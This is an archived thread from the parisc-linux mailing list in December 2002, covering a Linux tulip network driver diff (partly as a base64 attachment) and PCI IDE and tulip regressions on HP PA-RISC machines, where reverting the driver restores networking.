-		if (ee_data[0] =3D=3D 0xff  &&  ee_data[1] =3D=3D 0xff &&  ee_data[2] =
=3D=3D 0) {
+		if (chip_idx =3D=3D CONEXANT) {
+		    /* Check that the tuple type and length is correct. */
+			if (ee_data[0x198] =3D=3D 0x04  &&  ee_data[0x199] =3D=3D 6)
+			    sa_offset =3D 0x19A;
+		}
+		if (ee_data[0] =3D=3D 0xff && ee_data[1] =3D=3D 0xff &&
+		    ee_data[2] =3D=3D 0) {
 			sa_offset =3D 2;		/* Grrr, damn Matrox boards. */
 			multiport_cnt =3D 4;
 		}
@@ -1641,6 +1655,7 @@
 	for (i =3D 0; i < 6; i++)
 		last_phys_addr[i] =3D dev->dev_addr[i];http://webmail.tiscali.be/mail/=
MessageReplyAll?sid=3DDBE10C1646FA3872D205B9CC28640282AD467BC4&userid=3Dj=
soe0708@tiscali.be&seq=3DC&auth=3D01RVNMIUMKQMZQKW&srcfolder=3DINBOX&uid=3D=
3182&style=3Dfrans&abcompose=3D0
:: options avanc=E9es
 	last_irq =3D irq;
+	dev->irq =3D irq;
 
 	/* The lower four bits are the media type. */
 	if (board_idx >=3D 0  &&  board_idx < MAX_UNITS) {


(I have well a second interface on my b2k but never use it. I will try an=
d
try to revert this diff.)

hph,
    Joel

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be




--=========3DED9BBD0000213A/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Tulip_2.4.19-2.4.20.diff"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjE5LXBhMjQvZHJpdmVycy9uZXQvdHVsaXAv
Q2hhbmdlTG9nIGxpbnV4LTIuNC4yMC1wYTE0L2RyaXZlcnMvbmV0L3R1bGlwL0NoYW5nZUxvZwot
LS0gbGludXgtMi40LjE5LXBhMjQvZHJpdmVycy9uZXQvdHVsaXAvQ2hhbmdlTG9nCTIwMDItMDgt
MDMgMDI6Mzk6NDQuMDAwMDAwMDAwICswMjAwCisrKyBsaW51eC0yLjQuMjAtcGExNC9kcml2ZXJz
L25ldC90dWxpcC9DaGFuZ2VMb2cJMjAwMi0xMS0xOCAwOTowOTo0MS4wMDAwMDAwMDAgKzAxMDAK
QEAgLTEsMyArMSwxNCBAQAorMjAwMi0wOS0xOCAgUnlhbiBCcmFkZXRpY2ggIDxyYnJhZGV0aWNo
QHVzd2VzdC5uZXQ+CisKKwl0dWxpcCBocHBhIHN1cHBvcnQ6CisJKiBlZXByb20uYyAodHVsaXBf
YnVpbGRfZmFrZV9tZWRpYXRhYmxlKTogbmV3IGZ1bmN0aW9uCisJKHR1bGlwX3BhcnNlX2VlcHJv
bSk6IGNhbGwgaXQsIHdoZW4gbm8gbWVkaWEgdGFibGUKKwkqIGludGVycnVwdC5jIChwaHlfaW50
ZXJydXB0KTogbmV3IGZ1bmN0aW9uCisJKHR1bGlwX2ludGVycnVwdCk6IGNhbGwgaXQsIGJlZm9y
ZSBjaGVja2luZyBmb3Igbm8taXJxLXdvcmsKKwkqIHR1bGlwLmM6IGFkZCBIQVNfUEhZX0lSUSBj
aGlwIGZlYXR1cmUgZmxhZy4KKwlhZGQgY3NyMTJfc2hhZG93IHRvIHR1bGlwX3ByaXZhdGUgc3Ry
dWN0LCBvbmx5IGZvciBocHBhIGN1cnJlbnRseS4KKwkqIHR1bGlwX2NvcmUgKHR1bGlwX2luaXRf
b25lKTogc3VwcG9ydCBocHBhIHdvbmt5IGVlcHJvbXMKKwogMjAwMi0wNS0xMSAgSnVhbiBRdWlu
dGVsYSAgPHF1aW50ZWxhQG1hbmRyYWtlc29mdC5jb20+CiAKIAkqIDIxMTQyLmMgKHQyMTE0Ml9s
bmtfY2hhbmdlKTogUmV2ZXJ0IGVhcmxpZXIgcGF0Y2gKZGlmZiAtTmF1clggZG9udGRpZmYgbGlu
dXgtMi40LjE5LXBhMjQvZHJpdmVycy9uZXQvdHVsaXAvZWVwcm9tLmMgbGludXgtMi40LjIwLXBh
MTQvZHJpdmVycy9uZXQvdHVsaXAvZWVwcm9tLmMKLS0tIGxpbnV4LTIuNC4xOS1wYTI0L2RyaXZl
cnMvbmV0L3R1bGlwL2VlcHJvbS5jCTIwMDItMTEtMjggMTI6NDE6MzYuMDAwMDAwMDAwICswMTAw
CisrKyBsaW51eC0yLjQuMjAtcGExNC9kcml2ZXJzL25ldC90dWxpcC9lZXByb20uYwkyMDAyLTEx
LTE4IDA5OjA5OjQxLjAwMDAwMDAwMCArMDEwMApAQCAtMTkwLDcgKzE5MCw3IEBACiAJfQogc3Vi
c2VxdWVudF9ib2FyZDoKIAotCWlmIChlZV9kYXRhWzI3XSA9PSAwKSB7CQkvKiBObyB2YWxpZCBt
ZWRpYSB0YWJsZS4gKi8KKwlpZiAoZWVfZGF0YVsyN10gPT0gMCB8fCBlZV9kYXRhW2VlX2RhdGFb
MjddXSA9PSAwKSB7ICAvKiBObyB2YWxpZCBtZWRpYSB0YWJsZS4gKi8KIAkJdHVsaXBfYnVpbGRf
ZmFrZV9tZWRpYXRhYmxlKHRwKTsKIAl9IGVsc2UgaWYgKHRwLT5jaGlwX2lkID09IERDMjEwNDEp
IHsKIAkJdW5zaWduZWQgY2hhciAqcCA9ICh2b2lkICopZWVfZGF0YSArIGVlX2RhdGFbMjcgKyBj
b250cm9sbGVyX2luZGV4KjNdOwpkaWZmIC1OYXVyWCBkb250ZGlmZiBsaW51eC0yLjQuMTktcGEy
NC9kcml2ZXJzL25ldC90dWxpcC90dWxpcC5oIGxpbnV4LTIuNC4yMC1wYTE0L2RyaXZlcnMvbmV0
L3R1bGlwL3R1bGlwLmgKLS0tIGxpbnV4LTIuNC4xOS1wYTI0L2RyaXZlcnMvbmV0L3R1bGlwL3R1
bGlwLmgJMjAwMi0xMS0yOCAxMjo0MTozNi4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4y
MC1wYTE0L2RyaXZlcnMvbmV0L3R1bGlwL3R1bGlwLmgJMjAwMi0xMS0xOCAwOTowOTo0MS4wMDAw
MDAwMDAgKzAxMDAKQEAgLTYzLDcgKzYzLDcgQEAKIAlIQVNfODAyM1gJCT0gMHgwNDAwLAogCUNP
TUVUX01BQ19BRERSCQk9IDB4MDgwMCwKIAlIQVNfUENJX01XSQkJPSAweDEwMDAsCi0gICAgICAg
IEhBU19QSFlfSVJRICAgICAgICAgICAgID0gMHgyMDAwLAorCUhBU19QSFlfSVJRCQk9IDB4MjAw
MCwKIH07CiAKIApAQCAtODUsNiArODUsNyBAQAogCUNPTVBFWDk4ODEsCiAJSTIxMTQ1LAogCURN
OTEwWCwKKwlDT05FWEFOVCwKIH07CiAKIApkaWZmIC1OYXVyWCBkb250ZGlmZiBsaW51eC0yLjQu
MTktcGEyNC9kcml2ZXJzL25ldC90dWxpcC90dWxpcF9jb3JlLmMgbGludXgtMi40LjIwLXBhMTQv
ZHJpdmVycy9uZXQvdHVsaXAvdHVsaXBfY29yZS5jCi0tLSBsaW51eC0yLjQuMTktcGEyNC9kcml2
ZXJzL25ldC90dWxpcC90dWxpcF9jb3JlLmMJMjAwMi0xMS0yOCAxMjo0MTozNi4wMDAwMDAwMDAg
KzAxMDAKKysrIGxpbnV4LTIuNC4yMC1wYTE0L2RyaXZlcnMvbmV0L3R1bGlwL3R1bGlwX2NvcmUu
YwkyMDAyLTExLTE4IDA5OjA5OjQxLjAwMDAwMDAwMCArMDEwMApAQCAtMTUsOCArMTUsOCBAQAog
Ki8KIAogI2RlZmluZSBEUlZfTkFNRQkidHVsaXAiCi0jZGVmaW5lIERSVl9WRVJTSU9OCSIwLjku
MTUtcHJlMTEiCi0jZGVmaW5lIERSVl9SRUxEQVRFCSJNYXkgMTEsIDIwMDIiCisjZGVmaW5lIERS
Vl9WRVJTSU9OCSIwLjkuMTUtcHJlMTIiCisjZGVmaW5lIERSVl9SRUxEQVRFCSJBdWcgOSwgMjAw
MiIKIAogI2luY2x1ZGUgPGxpbnV4L2NvbmZpZy5oPgogI2luY2x1ZGUgPGxpbnV4L21vZHVsZS5o
PgpAQCAtMTkxLDYgKzE5MSwxMCBAQAogICB7ICJEYXZpY29tIERNOTEwMi9ETTkxMDJBIiwgMTI4
LCAweDAwMDFlYmVmLAogCUhBU19NSUkgfCBIQVNfTUVESUFfVEFCTEUgfCBDU1IxMl9JTl9TUk9N
IHwgSEFTX0FDUEksCiAJdHVsaXBfdGltZXIgfSwKKworICAvKiBDT05FWEFOVCAqLworICB7CSJD
b25leGFudCBMQU5maW5pdHkiLCAyNTYsIDB4MDAwMWViZWYsCisJSEFTX01JSSwgdHVsaXBfdGlt
ZXIgfSwKIH07CiAKIApAQCAtMjE0LDYgKzIxOCw3IEBACiAJeyAweDEzRDEsIDB4QUIwOCwgUENJ
X0FOWV9JRCwgUENJX0FOWV9JRCwgMCwgMCwgQ09NRVQgfSwKIAl7IDB4MTA0QSwgMHgwOTgxLCBQ
Q0lfQU5ZX0lELCBQQ0lfQU5ZX0lELCAwLCAwLCBDT01FVCB9LAogCXsgMHgxMDRBLCAweDI3NzQs
IFBDSV9BTllfSUQsIFBDSV9BTllfSUQsIDAsIDAsIENPTUVUIH0sCisJeyAweDEyNTksIDB4YTEy
MCwgUENJX0FOWV9JRCwgUENJX0FOWV9JRCwgMCwgMCwgQ09NRVQgfSwKIAl7IDB4MTFG
NiwgMHg5ODgxLCBQQ0lfQU5ZX0lELCBQQ0lfQU5ZX0lELCAwLCAwLCBDT01QRVg5ODgxIH0sCiAJ
eyAweDgwODYsIDB4MDAzOSwgUENJX0FOWV9JRCwgUENJX0FOWV9JRCwgMCwgMCwgSTIxMTQ1IH0s
CiAJeyAweDEyODIsIDB4OTEwMCwgUENJX0FOWV9JRCwgUENJX0FOWV9JRCwgMCwgMCwgRE05MTBY
IH0sCkBAIC0yMjEsNiArMjI2LDEwIEBACiAJeyAweDExMTMsIDB4MTIxNiwgUENJX0FOWV9JRCwg
UENJX0FOWV9JRCwgMCwgMCwgQ09NRVQgfSwKIAl7IDB4MTExMywgMHgxMjE3LCBQQ0lfQU5ZX0lE
LCBQQ0lfQU5ZX0lELCAwLCAwLCBNWDk4NzE1IH0sCiAJeyAweDExMTMsIDB4OTUxMSwgUENJX0FO
WV9JRCwgUENJX0FOWV9JRCwgMCwgMCwgQ09NRVQgfSwKKwl7IDB4MTE4NiwgMHgxNTYxLCBQQ0lf
QU5ZX0lELCBQQ0lfQU5ZX0lELCAwLCAwLCBDT01FVCB9LAorCXsgMHgxNjI2LCAweDg0MTAsIFBD
SV9BTllfSUQsIFBDSV9BTllfSUQsIDAsIDAsIENPTUVUIH0sCisJeyAweDE3MzcsIDB4QUIwOSwg
UENJX0FOWV9JRCwgUENJX0FOWV9JRCwgMCwgMCwgQ09NRVQgfSwKKwl7IDB4MTRmMSwgMHgxODAz
LCBQQ0lfQU5ZX0lELCBQQ0lfQU5ZX0lELCAwLCAwLCBDT05FWEFOVCB9LAogCXsgfSAvKiB0ZXJt
aW5hdGUgbGlzdCAqLwogfTsKIE1PRFVMRV9ERVZJQ0VfVEFCTEUocGNpLCB0dWxpcF9wY2lfdGJs
KTsKQEAgLTQ1Myw3ICs0NjIsNyBAQAogCQl0cC0+Y3NyNiA9IDB4MDFhODAyMDA7CiAJCW91dGwo
MHgwZjM3MDAwMCB8IGludyhpb2FkZHIgKyAweDgwKSwgaW9hZGRyICsgMHg4MCk7CiAJCW91dGwo
MHgxMTAwMCB8IGludyhpb2FkZHIgKyAweGEwKSwgaW9hZGRyICsgMHhhMCk7Ci0JfSBlbHNlIGlm
ICh0cC0+Y2hpcF9pZCA9PSBDT01FVCkgeworCX0gZWxzZSBpZiAodHAtPmNoaXBfaWQgPT0gQ09N
RVQgfHwgdHAtPmNoaXBfaWQgPT0gQ09ORVhBTlQpIHsKIAkJLyogRW5hYmxlIGF1dG9tYXRpYyBU
eCB1bmRlcnJ1biByZWNvdmVyeS4gKi8KIAkJb3V0bChpbmwoaW9hZGRyICsgMHg4OCkgfCAxLCBp
b2FkZHIgKyAweDg4KTsKIAkJZGV2LT5pZl9wb3J0ID0gdHAtPm1paV9jbnQgPyAxMSA6IDA7CkBA
IC0xNDc0LDcgKzE0ODMsNiBAQAogCXRwLT50aW1lci5mdW5jdGlvbiA9IHR1bGlwX3RibFt0cC0+
Y2hpcF9pZF0ubWVkaWFfdGltZXI7CiAKIAlkZXYtPmJhc2VfYWRkciA9IGlvYWRkcjsKLQlkZXYt
PmlycSA9IGlycTsKIAogI2lmZGVmIENPTkZJR19UVUxJUF9NV0kKIAlpZiAoIWZvcmNlX2NzcjAg
JiYgKHRwLT5mbGFncyAmIEhBU19QQ0lfTVdJKSkKQEAgLTE1NDgsNyArMTU1NiwxMyBAQAogCQlm
b3IgKGkgPSAwOyBpIDwgODsgaSArKykKIAkJCWlmIChlZV9kYXRhW2ldICE9IGVlX2RhdGFbMTYr
aV0pCiAJCQkJc2Ffb2Zmc2V0ID0gMjA7Ci0JCWlmIChlZV9kYXRhWzBdID09IDB4ZmYgICYmICBl
ZV9kYXRhWzFdID09IDB4ZmYgJiYgIGVlX2RhdGFbMl0gPT0gMCkgeworCQlpZiAoY2hpcF9pZHgg
PT0gQ09ORVhBTlQpIHsKKwkJICAgIC8qIENoZWNrIHRoYXQgdGhlIHR1cGxlIHR5cGUgYW5kIGxl
bmd0aCBpcyBjb3JyZWN0LiAqLworCQkJaWYgKGVlX2RhdGFbMHgxOThdID09IDB4MDQgICYmICBl
ZV9kYXRhWzB4MTk5XSA9PSA2KQorCQkJICAgIHNhX29mZnNldCA9IDB4MTlBOworCQl9CisJCWlm
IChlZV9kYXRhWzBdID09IDB4ZmYgJiYgZWVfZGF0YVsxXSA9PSAweGZmICYmCisJCSAgICBlZV9k
YXRhWzJdID09IDApIHsKIAkJCXNhX29mZnNldCA9IDI7CQkvKiBHcnJyLCBkYW1uIE1hdHJveCBi
b2FyZHMuICovCiAJCQltdWx0aXBvcnRfY250ID0gNDsKIAkJfQpAQCAtMTY0MSw2ICsxNjU1LDcg
QEAKIAlmb3IgKGkgPSAwOyBpIDwgNjsgaSsrKQogCQlsYXN0X3BoeXNfYWRkcltpXSA9IGRldi0+
ZGV2X2FkZHJbaV07CiAJbGFzdF9pcnEgPSBpcnE7CisJZGV2LT5pcnEgPSBpcnE7CiAKIAkvKiBU
aGUgbG93ZXIgZm91ciBiaXRzIGFyZSB0aGUgbWVkaWEgdHlwZS4gKi8KIAlpZiAoYm9hcmRfaWR4
ID49IDAgICYmICBib2FyZF9pZHggPCBNQVhfVU5JVFMpIHsK

--=========3DED9BBD0000213A/mail.tiscali.be--


From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dropping ide controler in 'Native' mode?
Date: Tue, 17 Dec 2002 08:22:58 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <3DED9BBD0000213E@ocpmta7.freegates.net>
References: <1040061866.13786.74.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622032 18762 80.91.229.3 (22 Nov 2014 02:07:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 17 00:23:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62CBC482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Dec 2002 00:23:35 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18OC4g-0004EJ-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Dec 2002 08:23:30 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 17 Dec 2002 07:22:58 +0000
In-Reply-To: <1040061866.13786.74.camel@irongate.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17133

>
>On Mon, 2002-12-16 at 17:06, jsoe0708@tiscali.be wrote:
>> Hi Alan,
>> 
>> Worried about ext3 pb, I try to merge parisc kernel 2.4.20-pa14 with
2.4.21-pre1.
>> This merge seems to works fine on a b180l+ (without pci devices).
>> But still boot twice (??) and crash on a b2k with an ide cdrom.
>
>I've sent the PCI fixup patch to linux-kernel. Depending upon how the
>PA-RISC system interfaces to the IDE controller you may also need
>platform specific fixups or to drop the chip into Native mode.
>
Can somebody tell me if it is possible (if yes how)?

Thanks in advance,
    Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Tue, 17 Dec 2002 09:22:19 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <3DED9BBD0000215E@ocpmta7.freegates.net>
References: <20021216172906.B9994@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622032 18766 80.91.229.3 (22 Nov 2014 02:07:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>,
	"Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 17 01:22:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99E2B482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Dec 2002 01:22:51 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18OCzl-0005Qi-00; Tue, 17 Dec 2002 09:22:29 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 17 Dec 2002 08:22:19 +0000
In-Reply-To: <20021216172906.B9994@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17134

Hi Willy,
>
>You mean the "IDE but no disks" patch:
>http://www.uwsg.iu.edu/hypermail/linux/kernel/0212.2/0105.html ?

I apply it (by hand) and it works:
"...
Uniform Multi-Platform E-IDE driver Revision: 7.00beta-2.4
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=3D=
xx
NS87415: IDE controller at PCI slot 00:0e.0
NS87415: chipset revision 3
NS87415: not 100% native mode: will probe irqs later
    ide0: BM-DMA at 0x0900-0x0907, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0908-0x090f, BIOS settings: hdc:pio, hdd:pio
hda: LTN485S, ATAPI CD/DVD-ROM drive
ide0 at 0x1f0-0x1f7,0x3f6 on irq 103
hda: ATAPI 48X CD-ROM drive, 120kB Cache
Uniform CD-ROM driver Revision: 3.12
...

palx2000:~# uname -a
Linux palx2000 2.4.21-pre1-pa14 #2 Tue Dec 17 08:44:14 CET 2002 parisc un=
known
unknown GNU/Linux"

Thanks all,
    Joel



*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Tue, 17 Dec 2002 11:43:28 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <3DED9BBD000021C7@ocpmta7.freegates.net>
References: <20021216231132.GC854@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622033 18771 80.91.229.3 (22 Nov 2014 02:07:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com,
	"Ed Schaller" <schallee@darkmist.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 17 03:43:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E496482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Dec 2002 03:43:39 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18OFCE-0000kV-00; Tue, 17 Dec 2002 11:43:30 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 17 Dec 2002 10:43:28 +0000
In-Reply-To: <20021216231132.GC854@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17135

>
>I've looked a bit at the same problem on A500 with
>a regular (single port) HP tulip card.
>
>> In the following dmesg out takes for 2.4.20-pa13 and 2.4.19-32 (debian=
),
>> it seems that the older kernel is finding the transceiver and
>> successfully auto-negotiating the link while the newer is not.
>
>yeah - same symptom that I saw.
>
>> Any ideas how to solve this? Any help would be greatly appreciated.
>
>I suspect it's a tulip driver bug.
>I haven't had a chance to diff the 2.4.19 vs 2.4.20 tulip driver.
>One idea might be to "forward port" the 2.4.19 drivers/net/tulip code
>into 2.4.20.
>
Same on B2k with add card.
Hmm I notice strange detail:
2.4.19 : lan heart bit on (even if interface not configure)
2.4.20 (& 21-pre1) : no lan heart bit on (interface configured or not)

I will try to revert tulip driver and advise you.

Cheer,
    Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Tue, 17 Dec 2002 16:14:10 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <3DED9BBD000022D4@ocpmta7.freegates.net>
References: <3DED9BBD000021C7@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622033 18774 80.91.229.3 (22 Nov 2014 02:07:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com,
	"Ed Schaller" <schallee@darkmist.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 17 08:14:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD62F482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Dec 2002 08:14:28 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18OJQJ-0000Kf-00; Tue, 17 Dec 2002 16:14:19 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 17 Dec 2002 15:14:10 +0000
In-Reply-To: <3DED9BBD000021C7@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17136

Hello Grant,

>>
>>I've looked a bit at the same problem on A500 with
>>a regular (single port) HP tulip card.
>>
>>> In the following dmesg out takes for 2.4.20-pa13 and 2.4.19-32 (debia=
n),
>>> it seems that the older kernel is finding the transceiver and
>>> successfully auto-negotiating the link while the newer is not.
>>
>>yeah - same symptom that I saw.
>>
>>> Any ideas how to solve this? Any help would be greatly appreciated.
>>
>>I suspect it's a tulip driver bug.
>>I haven't had a chance to diff the 2.4.19 vs 2.4.20 tulip driver.
>>One idea might be to "forward port" the 2.4.19 drivers/net/tulip code
>>into 2.4.20.
>>
>Same on B2k with add card.
>Hmm I notice strange detail:
>2.4.19 : lan heart bit on (even if interface not configure)
>2.4.20 (& 21-pre1) : no lan heart bit on (interface configured or not)
>
>I will try to revert tulip driver and advise you.
>
Well I find some minutes to do this reverse and it works.
Still have to find the bug ?

Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Tue, 17 Dec 2002 11:19:01 -0700
Lines: 15
Approved: news@gmane.org
